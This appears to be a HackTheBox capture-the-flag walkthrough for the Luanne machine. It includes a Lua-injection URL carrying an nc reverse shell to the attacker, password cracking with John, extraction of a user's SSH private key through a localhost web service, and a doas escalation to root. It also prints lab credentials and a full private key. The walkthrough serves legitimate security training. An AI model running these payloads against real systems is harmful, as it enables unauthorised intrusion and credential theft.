Luanne - [HTB]
Table of Contents
Introduction
Luanne is an easy Linux HackTheBox machine where the attacker will have to exploit a weather API in order to get a reverse shell, then will have to get access the user' s folder using a localhost web service. Finally, the attacker will have to find a password in a back up file to become "toor" and getting the flag.
Enumeration
As always I start scanning all open ports on the machine using the following command.
kali@kali:$ sudo nmap -sS -p- -T5 -n --open 10.129.45.136 -oN AllPorts.txt
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-30 16:05 EST
Nmap scan report for 10.129.45.136
Host is up (0.044s latency).
Not shown: 62334 filtered ports, 3198 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9001/tcp open tor-orport
Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds
Then, doing a deeper scan we get the following information.
kali@kali:$ sudo nmap -sC -sV -p22,80,9001 -n -T5 10.129.45.136 -oN PortsInDepth.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
In the port 80 there is an http service with a /weather
directory and in the port 9001 there is a web supervisor process manager.
Trying to get access to the root folder for the ports 80 and 9001, require some credentials to see what inside.
However, credentials aren't require for the /weather
directory, where it seems there is nothing interesting.
Doing a directory scan with gobuster, we can find a subdirectory named forescast
.
kali@kali:$ gobuster dir -t 20 -u http://10.129.45.136/weather/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.129.45.136/weather/
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/11/30 18:02:37 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/11/30 18:22:58 Finished
===============================================================
Here appears and error message requesting a city name.
Using the word list
provides a bunch of cities.
Then, using "London" as a parameter we can obtain information about the weather for the following 4 days.
Writing a bunch of random characters shows the following error.
Exploiting
Googleling about Lua code injection there is a post about how to inject code into unsensitized input, which after some trial and error turns out into the following url.
Note: Do not forget to change the IP and PORT in order to get the reverse shell.
kali@kali: rlwrap nc -nvlp 4444
kali@kali: curl http://luanne.htb/weather/forecast?city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.X.X%20PORT%20%3E%2Ftmp%2Ff%22%29
In the current folder there is a .htpasswd
file with the credentials for the web page in the port 80.
$ pwd
/var/www
$ ls -la
total 20
drwxr-xr-x 2 root wheel 512 Nov 25 11:27 .
drwxr-xr-x 24 root wheel 512 Nov 24 09:55 ..
-rw-r--r-- 1 root wheel 47 Sep 16 15:07 .htpasswd
-rw-r--r-- 1 root wheel 386 Sep 17 20:56 index.html
-rw-r--r-- 1 root wheel 78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
The password can be found using JohnTheRipper. For that we need to create a file with the hashed password, passing the route file to john.
kali@kali:$ cat htpasswd
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
kali@kali:$ john htpasswd -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest (?)
1g 0:00:00:00 DONE (2020-12-01 16:11) 9.090g/s 27490p/s 27490c/s 27490C/s secrets..iamcool
Use the "--show" option to display all of the cracked passwords reliably
Session completed
This credential will be used later on.
Privilege escalation 1
After some enumeration, in the file /etc/supervisord.conf
we find the credentials for the supervisor web service.
$ cat /etc/supervisord.conf
[unix_http_server]
file=/var/supervisord/run/supervisord.sock ; path to your socket file
[inet_http_server]
port = 0.0.0.0:9001
username = user
password = 123
Once inside, we can find a dashboard where shows which process are running, the uptime of the machine and the memory that is being used.
Inside the following link we can see all process that are being executed. After a while will appear a process executed by r.michaels
.
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
root 0 0.0 0.1 0 6136 ? DKl 9:29PM 0:02.54 [system]
root 1 0.0 0.0 19852 1520 ? Ss 9:29PM 0:01.51 init
root 163 0.0 0.0 32508 2324 ? Ss 9:29PM 0:34.35 /usr/sbin/syslogd -s
r.michaels 185 0.0 0.0 34992 1976 ? Is 9:30PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
Reading the documentation about httpd, we can figure out that the web server is being executed in the michaels' home directory, thanks to the use of the '-u' parameter. So using our reverse shell, curl and the credential we got from .htpasswd
file, we can see what is inside.
Note: -u “Causes bozohttpd to switch to the user and the groups of username after. This option, like -t above,causes bozohttpd to clear the environment unless the -e option is given.”.
$ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 293k 0 --:--:-- --:--:-- --:--:-- 293k
HTTP/1.1 200 OK
Date: Fri, 04 Dec 2020 15:27:19 GMT
Server: bozohttpd/20190228
Accept-Ranges: bytes
Content-Type: text/html
Connection: close
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
As we can see there is an "id_rsa" key on the home directory, so we can retrieve it in order to get access to the machine as michael through SSH.
kali@kali:$ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 849k 0 --:--:-- --:--:-- --:--:-- 849k
HTTP/1.1 200 OK
Date: Fri, 04 Dec 2020 15:27:39 GMT
Server: bozohttpd/20190228
Accept-Ranges: bytes
Last-Modified: Wed, 16 Sep 2020 16:52:06 GMT
Content-Type: text/plain
Content-Length: 2610
Connection: close
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
We need to save the private key as michaels.key
, so we can pass it as a parameter to SSH.
kali@kali:$ ssh -i michaels.key r.michaels@luanne.htb
Privilege escalation 2
In the backup
folder there is an encrypted file.
luanne$ ls -la backups/
total 12
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 .
dr-xr-x--- 7 r.michaels users 512 Sep 16 18:20 ..
-r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc
It can be decrypted with the following command.
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output /tmp/devel_backup-2020-09-16.tar.gz
Once, extracted all the files we can see another devel_backup-2020-09-16/www/.htpasswd
with a different hash. So, we can use once again john to retrieve the password.
kali@kali:$ john devel-2020-09-16/www/.htpasswd -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear (webapi_user)
1g 0:00:00:00 DONE (2020-12-05 19:07) 8.333g/s 108000p/s 108000c/s 108000C/s dominica..balanta
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Because we can not use the command su
on this machine, because we are not listed in the "wheels" group, we need to find another way to get a shell as root.
For that, we can use the binary doas
which executes any command as another user. For instance, /bin/sh
. Doing so, with the user "toor" which has root privileges we retrieve our shell and finishing the machine.
luanne$ doas -u toor /bin/sh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)